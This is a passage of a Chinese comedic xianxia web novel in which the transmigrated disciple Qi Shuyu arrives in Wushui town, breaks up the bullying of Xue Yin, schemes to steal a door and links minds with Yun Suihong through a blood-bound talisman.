正当美而不自知的少女对路人目光羞窘不已时——
“丫头,我们又见面了。”
耳旁响起低沉磁性的声音,一抹红色骤然跃入眼底。
上官玲珑心中升起说不清道不明的情绪。
是他!……】
看来合欢宗那逼这两天就会出现了。
齐舒玉心里盘算。
这哥们到底能有多帅,才让已经见过申墨、云岁鸿、薛殷和他的上官玲珑觉得惊为天人?!
虽然薛殷长得是不入流了些……
不经意间和少年漆黑明亮的眸子对上,齐舒玉心虚地被口水呛到。
——只能说男人和女人的看法不一样吧。
“首席有话要说?”
燕问雨停下,用眼神示意他:“我的话也说完了,你还有什么打算?”
齐舒玉咳红了脸:“没有没有我能有什么要说的万一今晚上那什么魔族就来了怎么办不行我呆会要把自己分到云岁鸿或者小白脸……”
原本鸦雀无声的弟子们顿时发出嘲弄声。
花怒娇带头大翻白眼:“废物。”
郭瑞双手抱起肩,摇摇晃晃的对旁人怪腔怪调:“好怕好怕——魔族来了怎么办!首席一定会带着我们躲在大师兄身后吧!”
齐舒玉咬牙,偷摸朝他竖中指。
妈的,
才不带你们!
燕问雨呼吸很重地扫了他一眼,续言道:“忘记提了。既是代我坤元剑派弟子论道,诸位务必谨记,此行并非游山玩水。大会在即,乌水镇鱼龙混杂,近年又恰逢魔族猖獗,你们更要三思后行——注意,出门在外,切莫孤身一人。”
安安静静听完她的话,所有人脸上都有了几分严肃,郑重道:“弟子领命。”
燕问雨从虚空中夹出一张折子扔到齐舒玉怀里,折子上还附了灵力,砸得他胸口一痛:“进镇后便尽数交予你。”
齐舒玉龇牙咧嘴地回到马车上,翻开折子,是张住宿分配名单,房间号和名字都有了。
他找到自己的名字和舍友。
好消息:晚上也会阳气很重。
坏消息:室友都是男的。
除了云岁鸿、薛殷,其余五人也都是同个队伍里的,不过他并不熟。
上官玲珑倒是脑袋凑在他旁边惊喜道:“薛哥哥、大师兄和齐师兄在二楼十号间么?那我的……太好了,我和邱师姐一块儿!”
“你别高兴太早了。”
齐舒玉眼神复杂地瞥她一眼。
这‘邱师姐’可也是给女主下药中的一环,三番两次帮原身齐舒玉创造得利空间,女主眼瞎吧看不出来,脑子也不知道怎么长的……
他‘啪’地关上折子:“座就那么大点还抢我位置活该被讨厌。”
上官玲珑小猪似的哼了声,气呼呼地背对他,齐舒玉趁机又把她往旁边推远点:“够了你看看其他女生有你这么小心眼儿吗动不动就生气真是搞不懂。”
马车进了镇子。
齐舒玉撩开帘子,觉得风景还不错,来了兴致:“一会儿咱们都去逛逛?”
上官玲珑立刻转过头来拍手叫好:“好呀好呀!”
“好什么好!”吴忧照例在开口前爱惜地摸摸让他看起来很潮的山羊胡,没眼看地喷唾沫道:“方才没听燕师姐怎么嘱咐的?老夫坐在马车内都能听见,被你们当耳旁风了不成?乌水镇的凶险白平飞没告诫与你么,尽管他当年在师兄弟中实力不足无缘论道——哎哟,怪老夫年岁大了,忘记他大抵是羞于同你提起的——想当年的论道大会,能为坤元剑派而战的弟子最次也需金丹,哪像你们几人,投机取巧,赶上坤元剑派大不如前的好时机……咳咳咳,扯远了。你等谨记,乌水镇不是玩闹的地方,此镇与百川瀑一线之隔,数千年来多少实力超群的修士踏足,却仍有魔族敢在这里频繁出没,可想而知他们何等强大。”
他睁开眼:“对了,舒玉你说七日内必学会御剑带人,这都三日了你可有进展……”
“师兄,那糖葫芦看起来好好吃。”
“不好吃,山楂里面籽都没去掉的样子,而且老板看起来就像三天没洗过澡,不讲卫生,我们去吃旁边的馒头吧,白白的一看就香香软软很有营养。”
“虽然摊主姐姐瞧着净爽,可馒头有什么好吃的。”
“小孩子懂……”
车内一股飓风穿堂而过。
“混账!!!!你们几个今天哪里也别想去!”
“……”
“上官玲珑我就说让你声音小点怎么老是不改啊你。”
**
乌水镇的人不愧是常年生活在水深火热之中。
三十多辆马车井然有序地堵在大路上,大家还能非常淡定地做自己的事,驻足观望的人会很快散开,至于没办法绕道的,钻旁边犄角旮旯也很熟练。
“娘!那小哥哥好俊呀!”
坐在豆花摊子后,小孩儿刚伸出来的手指就被他妈按下去:“嘘——”
小孩子不会骗人,
齐舒玉谦虚地邪魅一笑。
豆花老板娘见了脸色大变,立刻慌里慌张地把孩子放进竹篓里盖好,把摊子搬走。
齐舒玉:“……”
再也不玩抽象了。
和迎上来的店长寒暄完,他气宇轩昂地站在客栈门口打开折子,在弟子们忙碌的身影中蒙头报起了房间和名字。
报着报着他不吱声了,眉头紧锁环视一周,薛殷和云岁鸿不知道去哪,只有上官玲珑人机一样帮完这个帮那个的很有存在感,于是把她拉过来指着名册小声道:“这个繁体字念什么?”
上官玲珑摇头:“师兄,玲珑识字还不多呢。”
齐舒玉晴天霹雳。
字都没认全还能文能武,医术超过皇甫成华?
九年教育的风到底能不能吹到这里!
店家及时解围道:“仙长,此字为‘归’,有道是‘沉醉不知归路’的归。”
齐舒玉砸吧砸吧嘴。
好耳熟。
店长:“……”
“亦有归还一意。”
早说嘛!
齐舒玉中气十足道:“二楼九号间——傅绍归。”
“首席何事?”
从身后客栈里传出道冷冷的声音。
齐舒玉扭头,
和二楼冰冷眸光对上。
是个长相有些帅气的眼熟家伙。
他耀武扬威地质问道:“哎,谁让你自己找到房间的?”
傅绍归搭在栏杆上的手敲了敲,居高临下地扫他一眼,没接话,又回去了。
随后进来的李二手上没有了剑,拎着吸血鬼棺材的同款木箱,痛苦挠头道:“首席师弟,你怎把弟子们的消息当街报出来了?许多宗门早已先我们一步入乌水镇,
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坤元剑派又是树大招风,被有心人听去,岂不要遭算计?
“我靠!”齐舒玉根本接受不了言情文里也有起点情节,试图掩盖道:“我这、我这在点名,帮你们找房间啊?!”
因为书里特意提过的云岁鸿点名这一趴出了偏差,
他考虑了一路,好不容易才抓住机会想在今天补充完整的!
李二叹口气,连连摇着头绕开他进去客栈:“出发前大家不都知晓了?”
齐舒玉腿软脚软地跪下来。
啊啊啊啊啊啊啊啊啊啊啊啊啊果然能当上炮灰的天生就是笑话。
去你妈的法克!
“你怎么哭啦齐师兄?!”上官玲珑蹲下来,食指戳戳自己鼓起的脸颊,水汪汪的小鹿眼啪嗒啪嗒不知道在眨些什么东西:“李师兄心地善良是不会怪你的。再说,你好多字不认识呢,也没念对大家的名字呀。”
齐舒玉:……你倒是也不肯放过我。
他崩溃地把点名册往香囊里一扔,捂住耳朵,像不愿接受现实的可云一样往外跑。
要是再来点依萍找她爸要钱那天下的暴雨,
就更应景了。
“去哪儿呢?”
一阵花香袭来,齐舒玉腰带被勾住,脚也像是粘在了石板路上,他一惊,摸上腰间剑柄,丹田里的灵力顷刻间化作离弦的箭,击碎脚上的桎梏。
身后的人声似清风拂杨柳,含着数不清地柔情:“可造之材,不过还是慢了些噢。”
齐舒玉羞愤回头。
一刹那。
世界定格了,烟花乒乒乓乓地在空中绽放。
青年精致秀气的眉眼慢慢舒展开,头顶冒出缕缕青烟。
那脸,那肩,那腰,那腿,那曲线……
太是那个了!
□□半露的紫纱衣女子手中折扇飞舞,挡住半张脸,只露出一双摄魂夺目的狐狸眼,低低地笑起来。
“首席,看着我做甚?”
齐舒玉神智不清地猛擦嘴角口水:“……太、太漂亮了。”
话音刚落,
两簇浑厚方正的灵力袭来。
一簇被香风袅袅的折扇挡下,一簇正中失智傻笑的齐舒玉后脑勺,打得他三魂七魄都回体了,狂叫:“嗷嗷嗷嗷,燕师伯!”
“还不速速向你江师叔赔礼!”
燕问雨板着脸现身,眼眸微动,对紫纱女子暗含警告道:“师妹。”
江、江江怜容?
齐舒玉瞪大眼。
被上官玲珑抢了“墨君山第一美人”称号的江怜容?
女主那死丫头买粉了吧!
江怜容轻轻哼了声,余音婉转。她收起折扇,涂了红的指甲更衬肤若凝脂,风情万种地斜了燕问雨一眼,扭动纤纤腰肢便走,声音在风中勾人心痒:“他自己乱跑,人家是长辈,帮个忙也有错么,凶死了。”
齐舒玉望着她的背影垂涎三尺。
……嘿、嘿嘿,都怪俺。
燕问雨眼风一扫,抬脚朝他踹来。
早被白平飞各种高空飞踹锻炼出来的齐舒玉自动闪开,惊险万分道:“看看也不行啊?”
“再让我见你不敬师长,小心双目失明。”
齐舒玉仓皇后退几步,
小鸡啄米地点头。
看来师生恋在魔君山是禁忌啊!
还是、还是凑合着看看上官玲珑得了。
燕问雨脸色缓和些许:“我知你年岁尚浅,修炼不够被七情六欲缠绕乃常事,但你江师叔不同,她道心坚不可摧,杂念难侵,况且——她长你千岁有余。”
齐舒玉的表情复杂。
女大三抱金砖,
江师叔富可敌国。
奈何这条暴富捷径坤元剑派不允许他走啊。
25. 霸凌
“你回去吧,”燕问雨示意道:“方才做得不错,能想到混淆有心人的耳目,但身为首席还需沉得住气,只因一件小事便来邀功,怕是会惹得长老不喜。”
借、借口这么快就找好了?
摸着后脑勺刚被打肿的包,齐舒玉十分感慨:燕问雨可真是个好人呐。
他重获新生地默默绷紧肱二头肌时,眼尖地看见燕问雨身后一个头发银白的强壮男下了马车,周围来来往往的人都长袖长裤,就强壮老男穿件像健身教练的马褂,大露胳膊,鼓鼓的青筋错综虬结。
硕大的肌肉看起来崩坏过不少弟子服。
呵,
打药的。
齐舒玉连忙高声制止道:“诶,诶诶老大叔!!还是师兄?师弟?你走错了!”
老大哥闻声望来。
深重抬头纹下鹰眼微眯,犹如实质的凌厉视线瞬间锁住他。
对方仅是一小片目光就惊得齐舒玉呼吸阻塞,
心跳如鼓。
燕问雨迅速将他腰间长剑在出鞘前按了回去,拱手敬道:“龚长老。”
齐舒玉额角渗出冷汗,弯腰拱手,却说不出话来。
这些修仙的能不能把身份标在脸上啊!
“长老,首席实非有意冒犯。”
“齐舒玉么。我出关时听说过他,靠偷奸取巧得此首席之位,”龚长老寒声道,余音如同城墙上被重木敲击的沉钟:“来了也是丢脸。”
燕问雨也低下头:“师祖或是别有深意。”
龚长老几不可闻地嗤笑一声。
“那便瞧着罢。”
“——哎呀,龚赵!你快点!”耳熟的娇媚声去而复返,从高处传下来:“房里这么大个东西留人家独自看着,多害怕呀。”
齐舒玉挑眼,见江怜容身段柔软地倚在四楼栏杆上,翘着红唇朝他眨了一下眼。
龚赵的呼吸声重了些,冲燕问雨道。
“无事不必扰我。”
直到听见关门声,齐舒玉才起身欲言又止地看着燕问雨。
“你回去吧,”燕问雨重申了遍,抢先一步道:“不得妄议。”
齐舒玉耳边响起纯情少男的心碎声。
他失魂落魄地都不记得怎么回到客栈的。
正要推开房门——
“薛师弟,你也修炼不了,怎也学师兄们打坐?”
“听说你在外门时也被排挤,为什么?是因痴心妄想么?”
“哎,你们说——灵气无法入体是什么感觉呢?”
“问我们做甚?问薛师弟呀,只有五灵根才知道吧。”
“哈哈哈哈你这般揭薛师弟的伤疤……”
“一天天的,有完没完啊!”齐舒玉暴躁地狠狠一推,灵气外泄,吱嘎吱嘎的木门碎成一片片屑块:“都是炮灰了不能安分点啊老子在外面点头哈腰受完气还要回来调解你们是吧当我真是你们爹啊!”
他一把将腰间的剑抽出来,绿光汹涌,横空一挥,直接朝团坐在一起的几人迎面斩去。
齐舒玉内心有感,几个三灵根,就算是结了虚丹实力也不如他。这次参赛队伍里还有好些叫得上名的弟子都不在,看来碰到运气了的不在少数。
那几人当即变了脸色,仓皇朝旁边滚去。但因房间太小,身子又贴得近,一下子乱作一团。你蹬我我踩你,十分狼狈不堪。
动静声霎时引得楼上楼下的弟子们都跑出来围观,还有廊道里站不下,御剑在半空中伸长脖子的,里里外外可谓水泄不通。
在大庭广众之下失了颜面,几人脸上又气又急,灰头土脸地起身拔剑相向:“齐舒玉!你别太无理取闹,他不过是个外门弟子,你要袒护到这般地步么!”
齐舒玉沉下脸一步步逼近,在他们忐忑惊慌的神色中狠狠将剑扎进地板里:“老子也是为了你们好,别天天去招惹他,不然以后怎么死的都不知道。”
“还有你,”他利落转身,将还坐在大通铺上老僧入定的薛殷拽下来:“现在什么情况不清楚?也挺能装逼的啊,给你换个房间得了。”
闻言,薛殷终于动了动肩膀,垂下羽睫:“不必。”
齐舒玉充耳不闻,指着看戏人群里黑眼圈重得令人印象深刻的嗑.药脸男:“就你了,郭瑞,你俩换个房间。”
和旁人说笑着,一脸看好戏的郭瑞转眼间被当了猴看,脸色冷下来:“凭什么?”
“凭我是首席呗,”齐舒玉扬起下巴,用大拇指点着身上与周遭格格不入的金领玄服,也唯有这身衣服,连扣子也特意缝制成莲花盘扣:“而且还是你们老总申墨指名钦点的,你不服也没用,而且你自己多不招人待见没点逼数?把你换走两全其美。”
郭瑞的脸已经绷不住了,咬牙切齿:“我偏不,拿我如何。首席?不看看在场弟子们有几人服你。”
“那就公平投票吧,少数服从多数。”他不废话,把郭瑞七个室友都叫了出来:“同意换走郭瑞的举个手。”
郭瑞阴下脸看着他们。
几人眼神躲避。
齐舒玉才不由暗叫失策。这会儿发完火,静下心来才想起郭瑞是几人中的小队长,师尊常广也是颇有名气的,看他那些室友的鹌鹑样就知道。
这事没戏了。
没想到的是,倒真有个硬骨头流里流气地举起手道:“首席,其他人弃权,现在只我参与,我答应了,你带郭师兄走吧。”
正在想借口的齐舒玉:……
我操。
他好聪明。
“同意的举手,不同意自然不用举,”郭瑞使用了独家阴间特色笑声,那中二程度在反派里也值得重视:“周长明,既然你不愿意和我共处一室,不若自己走。”
“郭瑞你也有口吐人言之时。”周长明听了,恍然大悟,拍板道:“首席,弟子周长明请愿,和这位薛师弟换房。”
齐舒玉冲薛殷使眼色。
看哥多贴心。
不过怎么说呢,薛殷还是联系上下文做阅读理解做太少了,几不可见地磨了磨牙,眸光漆黑,声音低得只有两人听得见:“——齐舒玉,你赶我走?”
也可能是被害妄想症严重了。
齐舒玉无语:“犯病的时候别跟我装可怜啊我很吃这套的为你好知不知道别不识抬举。”
薛殷定定地看了他一眼,竟也不再跟他顶嘴,神色如常地走了出去:“知道了。”
孩子的青春叛逆期终于要过去了。
齐舒玉终于看他顺眼些。
门口的人给薛殷让路,经过郭瑞时,薛殷也不曾停步一秒。在两人肩膀狠狠相撞时,齐舒玉趁机朝郭瑞的裆放了个烟花。
没有男人会在这招面前稳如老狗。
没有!
他跳开的时候就像是被薛殷撞飞了。
“齐舒玉!”
“我等着呢羊尾男!”
周长明也对新寝室的适应程度十分良好,都已经有地盘意识了,双臂展开高声驱赶郭瑞:“都不是一个屋了,没请别来讨嫌奥,去去!哦嘘哦嘘哦嘘!散了奥!”
郭瑞瞪他。
周长明眼睛没他黑眼圈大,于是双手撑开眼皮回瞪。
直到郭瑞室友提醒他似乎还有事,两人才眼睛酸涩地分道扬镳。
周围已是人去楼空,
连屋里原本的另外无人也不知溜哪里去了。
留下周长明和齐舒玉收拾残局。
“哎,首席,你说你怎么把门打坏了,晚上睡觉不敞风呢么。”
意识到问题的齐舒玉也不禁头疼:“那怎么办总不能把郭瑞房间的门拆下来吧。”
“……”
“……”
两人相视一眼,搂住对方肩膀,齐声道:“走!”
“有定身符吗?”
“仅余两张,你呢?”
“还剩八张但我要说我也只有两张。”
“……咳咳咳,好吧,”周长明停下脚步,手从齐舒玉肩膀上拿下来,拳头抵在唇上:“计划有变,咱们需要再想个法子。”
“我去叫大师兄帮忙——诶?”齐舒玉
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反应过来,好半天没见到云岁鸿了:“大师兄去哪儿了?”
周长明连忙拉住他:“别别别别别呀首席!云师兄最不喜弟们发生龃龉,万一反过来状告我们岂非得不偿失,晚些再寻他好了。”
齐舒玉觉得也是,云岁鸿只是长得二十七八,实际都八十多了,老古董的很,况且自己没有出现之前秘境里的症状,那他人在附近就行。
“那你说怎么办?”
“我想想——如果有人敲门,肯定是江风那个倒霉鬼来开门,他不过才筑基,一触即溃……”
齐舒玉提醒他:“不要人身攻击!”
周长明立刻狗腿道:“他江风三灵根,如何与首席相比。”
“别拍马屁,”齐舒玉傲慢地仰起下巴,克制住嘴角:“把我都听爽了。”
周长明脸色古怪地看他一眼继续道:“韩元与任萧,两人素来不争不斗,若打起来他们也只会悄声离开,薛师弟是首席的人,必然不会动手,而且他也……呃,然后其余三人中,两人我都并不相熟,然而与郭瑞交好的弟子陆源明也是金丹,加之郭瑞亦是双灵根金丹后期,且他灵根为相生的水木,灵力运转不受制衡。仅凭你我,对付起来这几人也是吃力的。”
齐舒玉听懵了。
薛殷和郭瑞不用提,什么韩元、陆什么源的,即使刚刚见过,名字和脸他又对不上号,根本听不懂周长明的计划。
他斟酌道:“不、不能直接卸下门就跑?”
周长明喉头一哽,冷静两秒:“……首席不愧是首席,大道至简。”
“你拆左边,我拆右边,分头跑。”
“……好。”
“到时候先把门藏好,等云岁鸿来了让他装,他修为比我们都高,装门时求他多放点灵力稳固一下,就算郭瑞他们发现也偷不回去了——哦对了,他要问起来门怎么坏的,你自己编个理由骗他,现在我不方便骗人只能你开口反正你看起来就像经常站在校门口骗过很多女人的样子。”
“好……嗯?”周长明有被吓到:“首席,寻常女子骗着玩玩可以,云师兄……我也不方便。”
“我去你还真的会骗女人啊可恶你长得也就一般帅吧还没我好看呢哪来的资本啊你。”
“——首席,现在并非讨论此事的时机吧?”
“先去偷门,回来你教我。”
“????……好、好的。”
两人驻足之地的房间门忽然打开,先前打过照面的傅绍归眼底讥讽:“能与坤元剑派此等败类成为同门,实乃傅某三生有幸。”
周长明‘唰’地白了脸,弯腰作揖道:“见过傅师兄!”
傅绍归轻笑了声。
周长明身子跟着发颤。
又是同门霸凌!
齐舒玉眼中燃起斗志。
没有一件欺负弱小的案情能再三发生在一个大猛男的面前!
他拎起周长明就走,潇洒至极:“你这种一看就暗地里发骚天生招蜂引蝶的懂个屁女人对我们这种老实男人来说有多难骗你还不知道吧!”
走了小截路,装作被权利胁迫的周长明才神色慌张地回头看了眼,踌躇道:“首席,你怎么没早点说傅师兄就在隔壁……我、我还是不换房间了吧。”
齐舒玉看着他手足无措,心中充满同情:“你怕他?”
周长明不安道:“他是我同出一门的大师兄,平日里我们师兄弟甚少能与师尊相见,都是受傅师兄管教。”
“你们师傅谁啊?”
“师尊之名,白渊。”
齐舒玉回忆了下。
“没听过,怕什么,而且傅绍归连小组长都没当上呢,实力肯定不强,”齐舒玉勾着他脖子豪情万丈:“你们这些人实在被教得太舔了,多学学你哥我,除了主角,其他人别给他们好脸色不就都老实了?要会抱大腿知道不。”
周长明艰难扯起一抹苦笑:“定然是傅师兄不想罢了。”
“他也争不到的,”齐舒玉胸有成竹地拍着周长明的肩膀道:“命呐——就这样。”
26. 听话
齐舒玉和周长明都计划了好几种偷门场面的应对方法,就是没想到眼前这种。
他俩一人抱着一扇门对着空空如也的房间。
齐舒玉愣住,
连薛殷也不在。
“人还没回来?”
周长明想起来道:“巡守吧,现在已是晌午。”
糟糕!
忘记还要上班了!
前天晚上昏过去之后他什么都没安排,料想云岁鸿或者燕问雨肯定帮了忙,齐舒玉放心得有些过头,甚至不记得问自己的值班时间和队友。
“这两扇门交给你了,我要先走!”
齐舒玉把门往周长明怀里一塞,抽出剑来跳上去,准备先去找云岁鸿问问,周长明赶紧把门丢回房间里,一把抓住他的小腿拽回来:“不行,我不要一个人回房。”
那一拽让人差点脸砸剑上,齐舒玉恼得靠剑柄吊在半空,运起灵力蹬回去。
他这脸多帅啊,伤到了以后还怎么出道!
周长明不退反进,用小臂抵住他的靴底挥开,再将人一拉,把齐舒玉的胯骨死死按在栏杆上,任他半个身子都悬在外面,抽出腰上的剑,反手就把后方袭刺过来的剑切飞出去,:“带上我去。”
有这么怕傅绍归么!
“你跟我又不是一组的也凑热闹,”看周长明基本功这么扎实,就知道他是不会御剑的北宗了,齐舒玉恨恨地认怂道:“行行行——那我们快走!”
周长明是高兴了,
可苦了齐舒玉。
带着不能御剑的他在路上完全是个大累赘。
说来也奇怪,五十多个同门弟子应该都在巡逻,一个问路的都找不到,齐舒玉只能把身体当指南针,出现在秘境时的胃痛症状就立刻折返,换个方向。
用百米跑的速度跑马拉松,就算齐舒玉现在灵力附体,体力再好也吃不消,气喘吁吁地找到云岁鸿时,挂在他身上说不出话来,周长明比他步子稳许多,但呼吸声也不轻。
“不行,不行——”齐舒玉上气不接下气,伸手要去掏云岁鸿怀里的储物袋道:“你怎么、蒙着眼睛还,还能到处乱跑,快,快把你的传音符多给我些。”
如果那天在乾坤殿没有一次性用完就好了。
虽然修仙人装逼的多,自视清高追求独来独往,不轻易把自己的传音符给出去,但,别人能和他跟云岁鸿关系一样么!
云岁鸿单手捏住他的手腕,扶他站好:“师弟来得正好,我与几位师弟师妹交守不久,心道要去寻你。”
“传音符!哥!”
齐舒玉还在强调传音符,脑海里就连上云岁鸿的蓝牙了。
“有同门弟子在,晚些给你。”
齐舒玉回头,
周长明一副白日见鬼的表情。
他顺着周长明的目光望向云岁鸿身后。
“看什么……什么都没有啊?”
周长明眼神骤然清明。
他惊疑交加,猛咳几声弯下腰埋头对云岁鸿作揖道:“既然首席与大师兄有正事要办,弟子不敢叨扰。”
不等云岁鸿‘嗯’完,拔腿就跑。
齐舒玉莫名:“他也太奇怪了吧,自己非要跟着来,这会儿突然走了?”
“或是这位师弟有其他要事,”云岁鸿不甚在意地建议道:“既然驻足于此,不妨今日将此地仔细探查一番。”
齐舒玉昏过去后,他们这组的巡逻安排其实是燕问雨定的,云岁鸿已经代齐舒玉通知过其他人了。“不过,”他补充道:“还需你再亲自告诫所有弟子不得擅离职守,入夜后切莫独身,如有风吹草动立即远离,回来上报即可。”
“连你也这么说听上去乌水镇好可怕啊,”齐舒玉嗯嗯啊啊敷衍完,柔弱道:“我这个语气真是自己听了都会升起保护欲呢哈哈哈哈不信云岁鸿你小子能……”
他哈不出来了。
云岁鸿停顿片刻,接着道:“师弟若实在担忧,夜里别离我太远。”
蒙着眼的他终于有眼色了一回,主动掏出张刻有他符印的私人传音符出来,齐舒玉正要去接,他却避了一下,凝结小片灵力划破指尖,将血滴了上去。
“哥你啥意思?”
“魔族最擅幻境,但传音符在结界与幻境中施展不开,唯有契声符可用,不过……”
“还需要献祭上本大人の尊贵血液?”
“是的,不过……”
“好好好我知道了别讲了。”
滴血升级?
哪个文字动漫影视戏剧圈的人不知道啊?
他坚强果敢地像个男子汉一样抽剑割开自己的手指,结果切面没控制好,血如泉涌着嘶哈嘶哈道:“快快快——我要滴哪里啊!”
“师弟,我话还……”
“快点说要滴哪里,万一伤口合上了我还要再划一刀不是白遭罪吗?!该死有多痛你知道吗伤在我身疼在我心啊混蛋!”
云岁鸿指尖微动,抿了抿唇,递符纸道:“需点在我的血上。”
齐舒玉马上抢过来按了血指印。
刹那间,符纸燃烧的火舌差点吞没整根手指,他嗷嗷叫着把手指收回来含在嘴里,顺便掐了个净衣诀时,脑海中有根无形的弦,波动了。
他呆住。
“师弟看见了么?”
“我脑子里,怎么……有对鸡翅?”
云岁鸿漠然片刻。
那对鸡翅在他脑海中亮了起来:“师弟,羽翼为我符纹,灵力催动时方能见声。”
脑电波对话?
这么活着也太方便了吧!
“那我的符纹又是什么样子?”齐舒玉好奇道。
云岁鸿似乎仔细辨认了会,迟疑道:“是雾气。”
齐舒玉抬起调子疑惑地“嗯”了声,但头像能有什么好纠结的,捏住受伤的手指一边和云岁鸿走,一边玩性大发地反反复复打了电话又挂,挂了又打。
直到云岁鸿保持着常亮的在线状态。
齐舒玉:“……”
云岁鸿你是不是玩不起。
“确实。”
电话那边模模糊糊地长叹道:
“师弟闹够了么?”
那叹息如平地一声惊雷将齐舒玉炸醒了,大惊失色:“我刚刚都没说出来!你也听见了?那不是我想什么你都听得到?”
“契声符无需言语出声,心中所想皆可互通。”
他不解释还好,一解释齐舒玉立马控制不住脑子里的胡思乱想。
完了完了完了完了读心术怎么用在这里了到底是谁教他们这么做人的!
咋办啊要是被他知道那本啊啊啊啊不不不千万那本书不要瞎想被他听到啊狂野小狗汪汪汪汪汪嘤嘤嘤啊不狂野了那发春老猫吧喵呕——喵呕——不行这猫快吐了驴驴驴——
我有一只小毛驴从来也不骑对对对就是这样继续唱还挺好听的哈哈后面是什么来着骑来骑去也不骑着它赶集不对啊骑驴不赶集干嘛去骑着玩吗……噫,驴有专门的保护协会吗?
“师弟,方才便想劝你三思。”
脑海里的翅膀灭灯了,云岁鸿忽地将齐舒玉拉进了无人角落,褪去温和,周身罕见透露出严肃认真的气息,眉间紧锁:“你怎总不待人言尽。”
“有、有什么关系,”齐舒玉神色呐呐道:“又不会有什么事,如果不亮着你也听不到我想什么吧。”
“齐舒玉。”
云岁鸿声音顿时如坠雪窖,寒气透骨:“你可曾想过,万一我非可信之人!”
从巷口洒落的光尽数被高大身影挡住。
齐舒玉被他严肃的口吻吓到了,不敢说话地偷偷瞄他,云岁鸿似有所感,浑身迫人的威压卸去了些。
他缓了缓:“师弟……”
“哎呀哎呀哥哥就做奴家的可信之人嘛~~”齐舒玉知道再犯点贱就可以糊弄过去了,嘟嘴,翘起痛痛的食指,跺着小碎步上前抱起他结实的胳膊,头靠在他肩膀上大鸟依人。
好人才会真的担心自己不是好人。
云岁鸿这么好的心眼子,
绝对可以放心骗他嘿嘿嘿。
他闭着眼睛,陶醉地对云岁鸿的肱二头肌上下其手道:“哥这肌肉咋练出来的,能不能教教人家呀真他妈硬得跟炮筒一样膈人啊,真可惜现在看不到我这死样不然还不把你萌翻哈哈——我操不小心说出来了该死的吐真——”
齐舒玉倏地呼吸一滞,抬眸向上瞥,却因隔着层黑布难以窥见云岁鸿的眉眼。
“咳咳咳,我们走吧,”齐舒玉迅速同手同脚地放开他,站远了些,整理好衣服,眼珠子飘忽不定地率先朝外走去:“一会儿被人看到两个大男人在角落里卿卿我我的能说清楚么尤其是我还那么可爱再留下指不定还要说什么吐……该死的臭嘴快闭上啊你!”
这条道路齐舒玉来时就发现还算僻静,所以云岁鸿把他拉进小巷子,这样那样什么都没做时也无人看到。
可出了巷子,
却恰逢几个过路人。
尽管就那么三人,竟都穿着同样藏蓝色长衫制服,一看便知是另个门派。
一瘦高,一矮胖,一年幼。
各大电视节目经典组合。
面对突然现身的青年,三
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人目光聚焦在那身金领玄服,上下仔细打量一番后,眼底滑过艳羡,脸上逐渐爬上的讨好明显到齐舒玉都有些不适应。
“仙长便是坤元剑派的云岁鸿么?”原本站在后面的瘦高个推开两个同伴,最先开口:“弟子早有所耳闻,今日一见,仙长果然凤表龙姿,颇有救济苍生之相。”
哈?
修仙的也逃不过街头骗相?
他回头看了眼身后背负大剑的性感猛男,把‘名片’推过去:“云岁鸿,他们找你。”
三人惊了一下,抱成团后退数十步。
“什么!你是坤元剑派此番首席么?”
“什么!难道云岁鸿不是此番首席么?”
“什么!发生了什么?”
齐舒玉:……
搞什么!修练动画片配音的啊!
三人相互看来看去,又是摊掌又是耸肩又是摇头又是手背拍手心夸张无声大跺脚的,不用说一个字,齐舒玉都能翻译出来。
——哦豁,认错人了。
他们用眼神讨论了阵,脸上多了几分严肃,绕过齐舒玉来到云岁鸿跟前,齐刷刷鞠了个大躬:“多谢云仙师两年前相救白云山清水县恶龙凶虎宗宗主。”
云岁鸿很有范的点头:“是尊师?”
“是的,”瘦高个以迅雷不及掩耳之势捂住旁边两个人的嘴:“两年前我们三人奉家师之命外出办事,阴险魔族居然趁此机会偷袭我们恶龙凶虎宗,多亏了云仙师出手,家师才能如虎添翼。”
“尊师现身体如何?”
这话不知道戳到哪个泪点了,年纪小的一下子掉了金豆子,奋力扒开瘦高个的手:“呜呜呜师傅吃馒头噎死了,大夫说他年迈体弱,救不回了!”
他手脚灵活,两个师兄没等拦住就被他抱上了云岁鸿大腿哀嚎:“哇啊啊啊云仙师!!多亏你当日搭救我师傅,才让他喝到我们取回去的酒呜呜呜,那酒他等了十年!这两年他天天念叨您的救命之恩,论道大会我们是没资格去的,所以专程等在乌水镇,就想能见您一面,也是为师傅还愿了呜呜呜!”
这英雄救老的故事也太感人了吧?!
齐舒玉听得眼睛湿湿的。
瘦高个和矮胖子尴尬地从旁边过来,讪笑着拉走他:“哈、哈,小孩子不懂事,哈哈哈,仙长莫怪。”
云岁鸿偏头,下巴微收:“当日举手之劳。”
高个子把小年轻扔给矮胖子,拱手做作揖沉重道:“家师心愿已了,我们便不再打扰仙师。”
云岁鸿‘嗯’了声:“有缘再会。”
两人收回了在云岁鸿身上的视线,拖着哭天哭地的小师弟走了两步,矮胖子停在齐舒玉面前,憨憨傻笑着挠头:“那敢问仙长是?”
看他们那么崇拜云岁鸿的样子,身为明星的未出道队友,齐舒玉作出了他们可能会要签名的准备,不由升起一些紧张和不好意思:“哈哈哈,我是齐舒玉。”
矮胖子听完,敦厚老实地哦哦两声,和同伴对视一番,走了。
就走了。
就这么水灵灵地走了吗???
齐舒玉开始怀疑人生。
不说点场面话,不来点面部表情,
也不解释一下刚才是为什么认错救命恩人吗?
知道坤元剑派,知道云岁鸿,也知道他这个新人是怎么当上首席的?
一点不好奇?
齐舒玉情不自禁‘诶’了声。
没想到这一声被他们听到,反而争先恐后跑起来了,一晃没了踪影。
莫名奇妙!
真是莫名其妙!
齐舒玉涨红了脸一脚朝路边石墩子踢过去,石块顷刻间化为齑粉:“妈的以为老子想给签名吗靠你娘求老子老子肯定给啊妈的不求也给真是没有志气的一群傻逼啊我也是真他妈日了狗了。”
云岁鸿的低音炮在身后响起:“师弟——”
是荷尔蒙膨胀到男人都自惭形秽的地步。
“烦死了滚啊你他妈又帅又强声音也好听肌肉也扎实得要死就老子是个弱鸡!”齐舒玉烦躁地脚尖碾压着地上的灰粉,灵力控制不住地从四肢百骸散开来,成片的青石瓦砖裂开一道道细缝。
他闹出来的动静不小,一堆NPC冒出了头。
“齐师兄!”上官玲珑从尽头围观的人群中挤出来,惊呼着拉上薛殷奔过来:“你怎么了!”
齐舒玉抬头,
眼目通红。
他泪水犹如决堤的河坝汹涌澎湃,翘起血淋淋的兰花指道:“呜呜呜呜呜小师妹我手好痛啊但也是真他妈不敢让你这傻娘们治啊。”
27. 黑化
